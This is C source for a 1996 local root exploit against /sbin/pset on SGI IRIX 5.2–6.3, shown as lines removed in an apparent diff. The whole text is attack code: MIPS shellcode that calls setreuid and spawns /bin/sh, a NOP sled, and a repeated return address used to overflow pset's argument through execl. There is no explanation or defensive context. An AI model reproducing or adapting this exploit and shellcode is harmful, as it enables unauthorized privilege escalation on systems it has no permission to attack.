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- /*## copyright LAST STAGE OF DELIRIUM dec 1996 poland *://lsd-pl.net/ #*/
- /*## /sbin/pset #*/
-
- #define NOPNUM 3500
- #define ADRNUM 1024
- #define ALLIGN 2
-
- char setreuidcode[]=
- "\x30\x0b\xff\xff" /* andi $t3,$zero,0xffff */
- "\x24\x02\x04\x01" /* li $v0,1024+1 */
- "\x20\x42\xff\xff" /* addi $v0,$v0,-1 */
- "\x03\xff\xff\xcc" /* syscall */
- "\x30\x44\xff\xff" /* andi $a0,$v0,0xffff */
- "\x31\x65\xff\xff" /* andi $a1,$t3,0xffff */
- "\x24\x02\x04\x64" /* li $v0,1124 */
- "\x03\xff\xff\xcc" /* syscall */
- ;
-
- char shellcode[]=
- "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
- "\x24\x02\x03\xf3" /* li $v0,1011 */
- "\x23\xff\x01\x14" /* addi $ra,$ra,276 */
- "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */
- "\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */
- "\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */
- "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */
- "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */
- "\x03\xff\xff\xcc" /* syscall */
- "/bin/sh"
- ;
-
- char jump[]=
- "\x03\xa0\x10\x25" /* move $v0,$sp */
- "\x03\xe0\x00\x08" /* jr $ra */
- ;
-
- char nop[]="\x24\x0f\x12\x34";
-
- main(int argc,char **argv){
- char buffer[10000],adr[4],*b;
- int i;
-
- printf("copyright LAST STAGE OF DELIRIUM dec 1996 poland //lsd-pl.net/\n");
- printf("/sbin/pset for irix 5.2 5.3 6.2 6.3 IP:20,22,32\n\n");
-
- *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10260+1500;
-
- b=buffer;
- *b++=0xff;
- for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
- for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
- for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
- for(i=0;i<ALLIGN;i++) *b++=0xff;
- for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
- *b=0;
-
- execl("/sbin/pset","lsd","-s","666",buffer,0);
- }
-
-